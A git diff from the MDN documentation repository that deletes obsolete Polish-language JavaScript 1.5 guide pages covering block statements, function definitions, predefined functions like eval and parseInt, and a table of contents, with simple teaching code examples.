W następnym rozdziale skupimy się nad kontrolą logiki programów i obsługą błędów.{{PreviousNext("Web/JavaScript/Guide/Introduction", "Web/JavaScript/Guide/Control_flow_and_error_handling")}}

diff --git a/files/pl/web/javascript/guide/o_tym_przewodniku/index.html b/files/pl/web/javascript/guide/o_tym_przewodniku/index.html deleted file mode 100644 index 1f54eaca0f..0000000000 --- a/files/pl/web/javascript/guide/o_tym_przewodniku/index.html +++ /dev/null @@ -1,139 +0,0 @@ ---- -title: O tym przewodniku -slug: Web/JavaScript/Guide/o_tym_przewodniku -translation_of: Web/JavaScript/Guide/Introduction -translation_of_original: Web/JavaScript/Guide/About ---- -

JavaScript jest międzyplatformowym, zorientowanym obiektowo językiem skryptowym. Poniższy przewodnik tłumaczy wszystko, co powinieneś wiedzieć abyś mógł posługiwać się JavaScriptem.

- -

Nowe opcje w JavaScripcie

- -

 

- - - -

 

- -

Co już powinieneś wiedzieć

- -

Ten przewodnik zakłada że masz poniższe podstawy:

- - - -

Wersje JavaScriptu

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Tabela 1 JavaScript i wersje Navigatora
Wersja JavaScriptuWersja Navigatora
JavaScript 1.0Navigator 2.0
JavaScript 1.1Navigator 3.0
JavaScript 1.2Navigator 4.0-4.05
JavaScript 1.3Navigator 4.06-4.7x
JavaScript 1.4 
JavaScript 1.5Navigator 6.0
- Mozilla (open sourceowa przeglądarka)
JavaScript 1.6Firefox 1.5, inne przeglądarki oparte na Mozilli 1.8
JavaScript 1.7Firefox 2, inne przeglądarki oparte na Mozilli 1.8.1
JavaScript 1.8Firefox 3, inne przeglądarki oparte na Gecko 1.9
- -

Gdzie znaleźć informacje o JavaScripcie

- -

Dokumentacja JavaScript zawiera następujące książki:

- - - -

Jeżeli dopiero zaczynasz swoją przygodę z JavaScriptem, zacznij od Przewodnika JavaScript. Jeżeli posiądziesz już podstawowe umiejętności, możesz przejśc do JavaScript Reference aby zdobyć bardziej szczegółową, dogłębną wiedzę.

- -

Jak się uczyć JavaScriptu

- -

Rozpoczęcie nauki JavaScriptu jest proste: wszystko czego potrzebujesz to nowoczesna przeglądarka internetowa. Ten przewodnik zawiera skrypty działające jedynie w najnowszej wersji Firefoxa (i innych przeglądarkach opartych na Gecko), także sugerujemy używanie jego najnowszej wersji.

- -

Interaktywny interpreter

- -

Interaktywna konsola JavaScriptowa stanowi nieocenioną pomoc przy nauce, pozwala ona testować skrypty bez zapisywania plików i odświeżania okna przeglądarki. Konsola błędów w Firefoxie (Narzędzia-Dla twórców WWW-Konsola WWW lub też Ctrl+Shift+K) dostarcza prosty sposób by przetesować JavaScript: poprostu wpisz linijkę kodu i zatwierdź ją Enterem.

- -

Konsola www w Firefoxie 25.0.1

- -

 

- -

Firebug

- -

Bardziej zaawansowana konsola dostępna jest po zainstalowaniu dodatku do Firefoxa o nazwie Firebug. Wyrażenia, które wprowadzisz są interpretowane jako obiekty i są połączone z innymi częsciami Firebuga. Prosty przykład: 

- -

- -

 

- -

Użycie strzałki znajdującej się w prawym, dolnym rogu pozwala wprowadzać wielolinijkowy kod.

- -

Firebug udostępnia również zaawansowany inspektor DOM, debugger JavaScriptu oraz wiele innych, użytecznych funkcji. Kod JavaScript działający na stronie może użyć funkcji console.log(), służącej do wyświewtlania zawartości w konsoli Firebuga.

- -

Konwencje tekstowe w tym dokumencie

- -

Aplikacje JavaScriptu działają na wielu systemach operacyjnych, informacje zawarte w tej książce odnoszą się do wszystkich tych wersji. Ścierzki do plików i katalogów zapisane są w formacie Windowsowym (z backslashami oddzielającymi nazwy folderów). Wsystemach Unixowych backslashe nalezy zastąpić slashami. 

- -

Adresy URL w tym przewodniku mają następującą formę:

- -

http://serwer.domena/sciezka/plik.html

- -

W tych URLach serwer reprezentuje nazwę serwera, którego używasz, np. test1 czy www; domena to nazwa Twojej domeny np. netscape.com czy uiuc.edu; sciezka odpowiada za lokalizację pliku na twoim serwerze zaś plik.html to konkretna nazwa pliku. Ogólnie rzecz ujmując w adresie URL teksty pisane czcionką pochyłą oznacza lokalizację pliku zaś te pisane czcionką o stałej szerokości to literały. Jeżeli twój serwer ma włączony protokół SSL, zamiast używać przedrostka http, posługiwać się będziesz https.

- -

Przewodnik ten używa następujących konwencji tekstowych:

- - diff --git a/files/pl/web/javascript/guide/obsolete_pages/index.html b/files/pl/web/javascript/guide/obsolete_pages/index.html deleted file mode 100644 index 8b98a8450f..0000000000 --- a/files/pl/web/javascript/guide/obsolete_pages/index.html +++ /dev/null @@ -1,11 +0,0 @@ ---- -title: Obsolete Pages -slug: Web/JavaScript/Guide/Obsolete_Pages -tags: - - NeedsTranslation - - TopicStub -translation_of: Web/JavaScript/Guide -translation_of_original: Web/JavaScript/Guide/Obsolete_Pages ---- -

This is a list of pages that have been merged into chapters (in alphabetical order):

-

{{ tree() }}

diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/blok_instrukcji/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/blok_instrukcji/index.html" deleted file mode 100644 index c1da46484b..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/blok_instrukcji/index.html" +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Blok instrukcji -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Blok_instrukcji -tags: - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling -translation_of_original: Web/JavaScript/Guide/Obsolete_Pages/Block_Statement ---- -

-

-

Blok instrukcji

-

Blok instrukcji jest użyty do grupowania instrukcji. Blok zawarty jest w klamrach: -

-
{
-   instrukcja_1
-   instrukcja_2
-   .
-   .
-   .
-   instrukcja_n
-}
-
-

Przykład
-Blok instrukcji są zazwyczaj używane z instrukcją kontrolną (np. if, for, while). -

-
while (x < 10) {
-   x++;
-}
-
-

Tutaj, { x++; } jest blokiem instrukcji. -

Ważne: JavaScript nie ma zakresu blokowego. Zmienne przedstawione z blokiem są zakresem stanowiącym zawartość funkcji i skryptu, efektem ustawień ich i trwania ponad własny blok. Nie chcesz używać bloków "samodzielnych/wolnostojących" w JavaScript, ponieważ one nie robią tego co myślisz, że robią, jeśli myślisz, że robią cokolwiek tak jak bloki w C lub Javie. Na przykład: -

-
var x = 1;
-{
-   var x = 2;
-}
-alert(x); // wyświetli wartość drugiej zmiennej 2
-
-

Zostanie wyświetlona wartość drugiej zmiennej ponieważ instrukcja var x wewnątrz warunku posiada ten sam zakres co instrukcja var x przed instrukcją warunkową. W C lub Java, równoważny kod miałby wartość pierwszej zmiennej. -

{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Block_Statement", "fr": "fr/Guide_JavaScript_1.5/D\u00e9claration_de_blocs", "ja": "ja/Core_JavaScript_1.5_Guide/Block_Statement" } ) }} diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/definiowanie_funkcji/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/definiowanie_funkcji/index.html" deleted file mode 100644 index 7a3fc26637..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/definiowanie_funkcji/index.html" +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: Definiowanie funkcji -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Definiowanie_funkcji -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Guide/Functions -translation_of_original: Web/JavaScript/Guide/Obsolete_Pages/Defining_Functions ---- -

Definiowanie funkcji

-

Na definicję funkcji składają się słowa:

- -

Na przykład, następujący kod definiuje prostą funkcję nazwaną square:

-
function square(number) {
-   return number * number;
-}
-
-

Funkcja square bierze jeden argument, nazwany number. Funkcja składa się z jednej instrukcji, która sygnalizuje zwrot argumentu funkcji pomnożonej przez samą siebie. Instrukcja return określa wartość zwracanej funkcji.

-
return number * number
-
-

Wszystkie parametry są przekazywane do funkcji przez wartość; wartość zostaje przekazana do funkcji, ale jeżeli w funkcji wartość parametru zostanie zmieniona, zmiana ta nie będzie widoczna globalnie an. Jednakże, jeżeli przekażesz obiekt jako parametr funkcji, a funkcja zmieni właściwości obiektu, zmiana ta będzie widoczna poza funkcją, tak jak w następującym przykładzie:

-
function myFunc(theObject) {
-   theObject.make="Toyota"
-}
-
-mycar = {make:"Honda", model:"Accord", year:1998};
-x=mycar.make;     // zwraca Honda
-myFunc(mycar);    // przechodzi obiekt mycar do funkcji
-y=mycar.make;     // zwraca Toyota (porada: was changed by the function)
-
-

Zdefiniowana funkcja jest oparta na warunku. Na przykład, dając następującą definicje funkcji:

-
if (num == 0)
-{
-   function myFunc(theObject) {
-   theObject.make="Toyota"
-   }
-}
-
-

Funkcja myFunc jest tylko zdefiniowana jeśli zmienna num równa się 0. Jeśli num nie jest równe 0, funkcja nie jest zdefiniowana i jakiekolwiek inne próby nie zostaną wykonane.

-

Oprócz opisanego tu definiowania funkcji, możliwe jest także definiowanie Function objects.

-

Metoda jest to połączenie funkcji z obiektem. Możesz się nauczyć więcej o obiektach i metodach w Obiekt function

-

Funkcja może być także zdefiniowana wewnątrz wyrażenia. Jest to nazwane wyrażeniem funkcyjnym. Typowo takie funkcje są anonimowe - nie mają nazwy. Na przykład, funkcja square może być zdefiniowana jako:

-
const square = function(number) {return number * number};
-
-

To jest konwencja kiedy przekazujesz jako funkcję jako argument do następnej funkcji. Następujący przykład pokazuje mapę funkcji będących zdefiniowanymi i następnie nazwane z funkcją, a jako pierwszą funkcją będzie parametr:

-
function map(f,a) {
-   var result=new Array;
-   for (var i = 0; i != a.length; i++)
-      result[i] = f(a[i]);
-   return result;
-}
-
-

Wywołuje:

-
map(function(x) {return x * x * x}, [0, 1, 2, 5, 10]);
-
-

Zwraca {{ mediawiki.external('0, 1, 8, 125, 1000') }}.

diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/dodawanie_obiektom_nowej_funkcjonalno\305\233ci/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/dodawanie_obiektom_nowej_funkcjonalno\305\233ci/index.html" deleted file mode 100644 index 9ba9895af5..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/dodawanie_obiektom_nowej_funkcjonalno\305\233ci/index.html" +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Dodawanie obiektom nowej funkcjonalności. -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Dodawanie_obiektom_nowej_funkcjonalności. ---- -

Każdy obiekt JavaScriptu posiada zadeklarowane, właściwe dla siebie funkcje, jak np. obiekt String posiada takie funkcje jak toUpperCase() czy toLowerCase(), które odpowiadają odpowiednio za przekonwertowanie liter na duże i małe. Za pomocą prototypów możemy dodać własne funkcje. Poniżej przedstawiony został kod, który zwraca pierwszą literę łańcucha znaków, na którym została wykonana nasza metoda.

-

 

-

String.prototype.firstLetter = function() {

-

 var callObject = this;

-

 return callObject.charAt(0);
-

-

};

-

 

-

Dysponując tak przygotowanym kodem, możemy teraz użyć naszej metody firstLetter() na dowolnym łańcuchu znaków.

-

 

-

alert("hello".firstLetter());

-

 

-

Powyższy kod wyświetli w okienku dialogowym typu alert literę h.

-

 

-

 

diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/funkcje_predefiniowane/funkcja_eval/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/funkcje_predefiniowane/funkcja_eval/index.html" deleted file mode 100644 index dc80cd2a98..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/funkcje_predefiniowane/funkcja_eval/index.html" +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Funkcja eval -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_eval -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Guide/Functions -translation_of_original: Web/JavaScript/Guide/Obsolete_Pages/Predefined_Functions/eval_Function ---- -

-

-

Funkcja eval

-

Funkcja eval ocenia łańcuch znaków w kodzie JavaScript bez odniesienia do osobliwego obiektu. Składnia eval: -

-
eval(expr)
-
-

gdzie: expr jest ocenianym łańcuchem znaków. -

Jeśli łańcuch znaków reprezentuje wyrażenie, eval je ocenia. Jeśli argument reprezentuje jedną lub więcej instrukcji JavaScript, eval wykonuje instrukcję. Nie nazywaj eval oceniane wyrażenia arytmetyczne, gdyż JavaScript oceni wyrażenia arytmetyczne automatycznie. -

{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Predefined_Functions/eval_Function", "fr": "fr/Guide_JavaScript_1.5/Fonctions_pr\u00e9d\u00e9finies/La_fonction_eval", "ja": "ja/Core_JavaScript_1.5_Guide/Predefined_Functions/eval_Function" } ) }} diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/funkcje_predefiniowane/funkcja_isfinite/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/funkcje_predefiniowane/funkcja_isfinite/index.html" deleted file mode 100644 index 1f5191c526..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/funkcje_predefiniowane/funkcja_isfinite/index.html" +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Funkcja isFinite -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_isFinite -tags: - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Guide/Functions -translation_of_original: Web/JavaScript/Guide/Obsolete_Pages/Predefined_Functions/isFinite_Function ---- -

-

-

Funkcja isFinite

-

Funkcja isFinite sprawdza argument do momentu ustalenia czy jest liczbą skończona. Składnia isFinite: -

-
isFinite(number)
-
-

gdzie: number jest liczbą, która jest sprawdzana.

Jeśli argument jest NaN, plus nieskończoność lub minus nieskończoność, to ta metoda zwraca false, w innych przypadkach zwraca true. -

Następujący kod sprawdza klienta wejścia i ustala czy to jest liczba skończona.

-
if(isFinite(ClientInput) == true)
-{
-   /* wykonaj odpowiednie kroki */
-}
-
-{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Predefined_Functions/isFinite_Function", "fr": "fr/Guide_JavaScript_1.5/Fonctions_pr\u00e9d\u00e9finies/La_fonction_isFinite", "ja": "ja/Core_JavaScript_1.5_Guide/Predefined_Functions/isFinite_Function" } ) }} diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/funkcje_predefiniowane/funkcja_isnan/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/funkcje_predefiniowane/funkcja_isnan/index.html" deleted file mode 100644 index a4aa3da4be..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/funkcje_predefiniowane/funkcja_isnan/index.html" +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Funkcja isNaN -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_isNaN -tags: - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Guide/Functions -translation_of_original: Web/JavaScript/Guide/Obsolete_Pages/Predefined_Functions/isNaN_Function ---- -

-

-

Funkcja isNaN

-

Funkcja isNaN ocenia argument do określenia jeśli jest "NaN" (nie numer). Składnia isNaN: -

-
isNaN(testValue)
-
-

gdzie: testValue jest wartością do oceny. -

Funkcje parseFloat i parseInt zwracają "NaN", kiedy ocenią wartość, że to nie jest numer. isNaN zwraca true jeśli przyjmie "NaN," i false w przeciwnym wypadku. -

Następujący kod sprawdza wartość floatValue, potrafi określić czy to jest liczba, a następnie nazywa odpowiednią procedurę: -

-
floatValue=parseFloat(toFloat)
-
-if (isNaN(floatValue)) {
-   notFloat()
-} else {
-   isFloat()
-}
-
-{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Predefined_Functions/isNaN_Function", "fr": "fr/Guide_JavaScript_1.5/Fonctions_pr\u00e9d\u00e9finies/La_fonction_isNaN", "ja": "ja/Core_JavaScript_1.5_Guide/Predefined_Functions/isNaN_Function" } ) }} diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/funkcje_predefiniowane/funkcje_escape_i_unescape/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/funkcje_predefiniowane/funkcje_escape_i_unescape/index.html" deleted file mode 100644 index 30a279079a..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/funkcje_predefiniowane/funkcje_escape_i_unescape/index.html" +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Funkcje escape i unescape -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_escape_i_unescape -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Guide/Functions -translation_of_original: >- - Web/JavaScript/Guide/Obsolete_Pages/Predefined_Functions/escape_and_unescape_Functions ---- -

-

-

Funkcje escape i unescape

-

Funkcje escape i unescape kodują i dekodują wartość łańcuchową. Funkcja escape zwraca kodowanie szesnastkowe argumentu ustawiając czcionki ISO Latin. Funkcja unescape zwraca wartość łańcuchową jako ASCII - czyli specyficzną wartością kodowania szesnastkowego. -

Składnia tych funkcji: -

-
escape(string)
-unescape(string)
-
-

Funkcje używamy przede wszystkim po stronie serwera, JavaScript koduje i dekoduje nazwy/wartości par w URL. -

Funkcje escape i unescape nie pracują dla znaków nie znajdujących się w ASCII, które są deprecated. W JavaScript 1.5 i późniejszych wydaniach, używają encodeURI, decodeURI, encodeURIComponent, i decodeURIComponent. -

-
-
-{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Predefined_Functions/escape_and_unescape_Functions", "es": "es/Gu\u00eda_JavaScript_1.5/Funciones_predefinidas/Funciones_escape_y_unescape", "fr": "fr/Guide_JavaScript_1.5/Fonctions_pr\u00e9d\u00e9finies/Les_fonctions_escape_et_unescape", "ja": "ja/Core_JavaScript_1.5_Guide/Predefined_Functions/escape_and_unescape_Functions" } ) }} diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/funkcje_predefiniowane/funkcje_number_i_string/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/funkcje_predefiniowane/funkcje_number_i_string/index.html" deleted file mode 100644 index c474f760c8..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/funkcje_predefiniowane/funkcje_number_i_string/index.html" +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Funkcje Number i String -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_Number_i_String -tags: - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Guide/Functions -translation_of_original: >- - Web/JavaScript/Guide/Obsolete_Pages/Predefined_Functions/Number_and_String_Functions ---- -

-

-

Funkcje Number i String

-

Funkcja Number i String przekonwertuje na obiekt numeryczny lub łańcuch znaków. Składnia tej funkcji to: -

-
Number(objRef)
-String(objRef)
-
-

gdzie: objRef jest wskaźnikiem funkcji. -

Następny przykład przekonwertuje obiekt Date na możliwy do odczytu łańcuch znaków. -

-
D = new Date (430054663215)
-// Następnie zwraca
-// "Thu Aug 18 04:37:43 GMT-0700 (Pacific Daylight Time) 1983"
-x = String(D)
-
-{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Predefined_Functions/Number_and_String_Functions", "es": "es/Gu\u00eda_JavaScript_1.5/Funciones_predefinidas/Funciones_Number_y_String", "fr": "fr/Guide_JavaScript_1.5/Fonctions_pr\u00e9d\u00e9finies/Les_fonctions_Number_et_String", "ja": "ja/Core_JavaScript_1.5_Guide/Predefined_Functions/Number_and_String_Functions" } ) }} diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/funkcje_predefiniowane/funkcje_parseint_i_parsefloat/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/funkcje_predefiniowane/funkcje_parseint_i_parsefloat/index.html" deleted file mode 100644 index 2badc2fb2d..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/funkcje_predefiniowane/funkcje_parseint_i_parsefloat/index.html" +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Funkcje parseInt i parseFloat -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_parseInt_i_parseFloat -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Guide/Functions -translation_of_original: >- - Web/JavaScript/Guide/Obsolete_Pages/Predefined_Functions/parseInt_and_parseFloat_Functions ---- -

-

-

Funkcja parseInt i parseFloat

-

Dwie funkcje "parse", parseInt i parseFloat, zwracają wartość liczbową, gdy podano łańcuch znaków jako argument.

Składnia parseFloat -

-
parseFloat(str)
-
-

gdzie parseFloat analizuje swój argument, łańcuch znaków str i próbuje zwrócić liczbę zmiennoprzecinkową. W razie napotkania symbolu innego niż znak (+ lub -), liczby (0-9), znaku dziesiętnego lub wykładnika, funkcja zwraca wartość do momentu jego wystąpienia ignorując sam symbol i wszystkie inne po nim następujące. Jeśli pierwszy znak nie może być przekonwertowany do liczby, zwrócona zostaje wartość "NaN" (nie liczba). -

Składnia parseInt

-
parseInt(str [, radix])
-
-

parseInt analizuje swój pierwszy argument, łańcuch znaków str i próbuje zwrócić liczbę całkowitą o podstawie wskazanej przez drugi, opcjonalny argument radix. Na przykład, podstawa o wartości 10 wskazuje konwersję do liczby dziesiętnej, podstawa równa 8 do liczby ósemkowej, 16 do heksadecymalnej itd. Dla podstawy większej od 10 litery alfabetu wskazują liczby większe od 9. Na przykład, dla liczb heksadecymalnych (podstawa 16), używane są litery od A do F. -

Jeśli parseInt napotka w podanej podstawie symbolu, który nie jest liczbą, funkcja zwraca wartość całkowitą do momentu jego wystąpienia ignorując sam symbol i wszystkie inne po nim następujące. Jeśli pierwszy znak nie może być przekonwertowany do liczby, zwrócona zostaje wartość "NaN". Funkcja parseInt skraca łańcuchy znaków do wartości całkowitych. -

-
-
-{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Predefined_Functions/parseInt_and_parseFloat_Functions", "es": "es/Gu\u00eda_JavaScript_1.5/Funciones_predefinidas/Funciones_parseInt_y_parseFloat", "fr": "fr/Guide_JavaScript_1.5/Fonctions_pr\u00e9d\u00e9finies/Les_fonctions_parseInt_et_parseFloat", "ja": "ja/Core_JavaScript_1.5_Guide/Predefined_Functions/parseInt_and_parseFloat_Functions" } ) }} diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/funkcje_predefiniowane/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/funkcje_predefiniowane/index.html" deleted file mode 100644 index 2048814532..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/funkcje_predefiniowane/index.html" +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Funkcje predefiniowane -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Funkcje_predefiniowane -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Guide/Functions -translation_of_original: Web/JavaScript/Guide/Obsolete_Pages/Predefined_Functions ---- -

-

-

Funkcje predefiniwane

-

JavaScript ma kilka predefiniowanych funkcji: -

- -{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Predefined_Functions", "fr": "fr/Guide_JavaScript_1.5/Fonctions_pr\u00e9d\u00e9finies", "ja": "ja/Core_JavaScript_1.5_Guide/Predefined_Functions" } ) }} diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/index.html" deleted file mode 100644 index 3e5a4b8609..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/index.html" +++ /dev/null @@ -1,876 +0,0 @@ ---- -title: Przewodnik po języku JavaScript 1.5 -slug: Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5 -tags: - - AJAX - - JavaScript - - Projekt_MDC - - Przewodnik_JavaScript - - Strony_do_aktualizacji - - Wszystkie_kategorie -translation_of: Web/JavaScript/Guide -translation_of_original: Web/JavaScript/Guide/Obsolete_Pages/Table_of_Contents_2.0 ---- -

O tym przewodniku

- -
-
Nowe możliwości tego wydania
-
- -
-
Co już powinieneś wiedzieć
-
- -
-
Wersje JavaScriptu
-
- -
-
Gdzie szukać informacji o JavaScripcie
-
- -
-
Konwencje dokumentu
-
- -

Przegląd JavaScriptu

- -
-
Czym jest JavaScript?
-
- -
-
JavaScript i Java
-
- -
-
JavaScript i specyfikacja ECMA
-
- -
-
-
-
Związek pomiędzy JavaScript, a wersją ECMA
-
-
-
- -
-
-
-
Dokumentacja JavaScript w porównaniu ze specyfikacją ECMA
-
-
-
- -
-
-
-
Terminologia JavaScriptu i ECMA
-
-
-
- -

Funkcjonalność języka

- -
-
Wartości
-
- -
-
-
-
Konwersja typu danych
-
-
-
- -
-
Zmienne
-
- -
-
-
-
Deklaracja zmiennych
-
-
-
- -
-
-
-
Ocena zmiennych
-
-
-
- -
-
-
-
Zakres zmiennych
-
-
-
- -
-
Stałe
-
- -
-
Literały
-
- -
-
-
-
Literały tablicy
-
-
-
- -
-
-
-
Literały logiczne
-
-
-
- -
-
-
-
Literały całkowite
-
-
-
- -
-
-
-
Literały zmiennoprzecinkowe
-
-
-
- -
-
-
-
Literały obiektu
-
-
-
- -
-
-
-
Literały znakowe
-
-
-
- -
-
Unicode
-
- -
-
-
-
Unicode zgodny z ASCII i ISO
-
-
-
- -
-
-
-
Sekwencje ucieczki do Unicode
-
-
-
- -
-
-
-
Wyświetlanie czcionek z Unicode
-
-
-
- -

Wyrażenia i operatory

- -
-
Wyrażenia
-
- -
-
Operatory
-
- -
-
-
-
Operatory przypisania
-
-
-
- -
-
-
-
Operatory porównania
-
-
-
- -
-
-
-
Operatory arytmetyczne
-
-
-
- -
-
-
-
Operatory bitowe
-
-
-
- -
-
-
-
Operatory logiczne
-
-
-
- -
-
-
-
Operacje na łańcuchach
-
-
-
- -
-
-
-
Operatory specjalne
-
-
-
- -
-
-
-
Pierwszeństwo operatorów
-
-
-
- -

Wyrażenia regularne

- -
-
Tworzenie wyrażenia regularnego
-
- -
-
Zapisywanie wzorca wyrażenia regularnego
-
- -
-
-
-
Używanie prostego wzoru
-
-
-
- -
-
-
-
Używanie specjalnych znaków
-
-
-
- -
-
-
-
Używanie nawiasów
-
-
-
- -
-
Praca z wyrażeniami regularnymi
-
- -
-
-
-
Użycie odpowiedniego znaku
-
-
-
- -
-
-
-
Globalne wyszukiwanie, wielkość znaków, wieloliniowe wejście
-
-
-
- -
-
-
-
Przykłady
-
-
-
- -

Instrukcje

- -
-
Blok instrukcji
-
- -
-
Instrukcje warunkowe
-
- -
-
-
-
Instrukcja if...else
-
-
-
- -
-
-
-
Instrukcja switch
-
-
-
- -
-
Instrukcje pętli
-
- -
-
-
-
Instrukcja for
-
-
-
- -
-
-
-
Instrukcja do...while
-
-
-
- -
-
-
-
Instrukcja while
-
-
-
- -
-
-
-
Instrukcja label
-
-
-
- -
-
-
-
Instrukcja break
-
-
-
- -
-
-
-
Instrukcja continue
-
-
-
- -
-
Instrukcje manipulacji obiektem
-
- -
-
-
-
Instrukcja for...in
-
-
-
- -
-
-
-
Instrukcja with
-
-
-
- -
-
Komentarze
-
- -
-
Instrukcje obsługi wyjątków
-
- -
-
-
-
Instrukcja throw
-
-
-
- -
-
-
-
Instrukcja try...catch
-
-
-
- -

Funkcje

- -
-
Definiowanie funkcji
-
- -
-
Wywołanie funkcji
-
- -
-
Zastosowanie obiektu arguments
-
- -
-
Funkcje predefiniowane
-
- -
-
-
-
Funkcja eval
-
-
-
- -
-
-
-
Funkcja isFinite
-
-
-
- -
-
-
-
Funkcja isNaN
-
-
-
- -
-
-
-
Funkcje parseInt i parseFloat
-
-
-
- -
-
-
-
Funkcje Number i String
-
-
-
- -
-
-
-
Funkcje escape i unescape
-
-
-
- -
-
Praca z zamknięciami
-
- -

Praca z obiektami

- -
-
Obiekty i własności
-
- -
-
Tworzenie nowych obiektów
-
- -
-
-
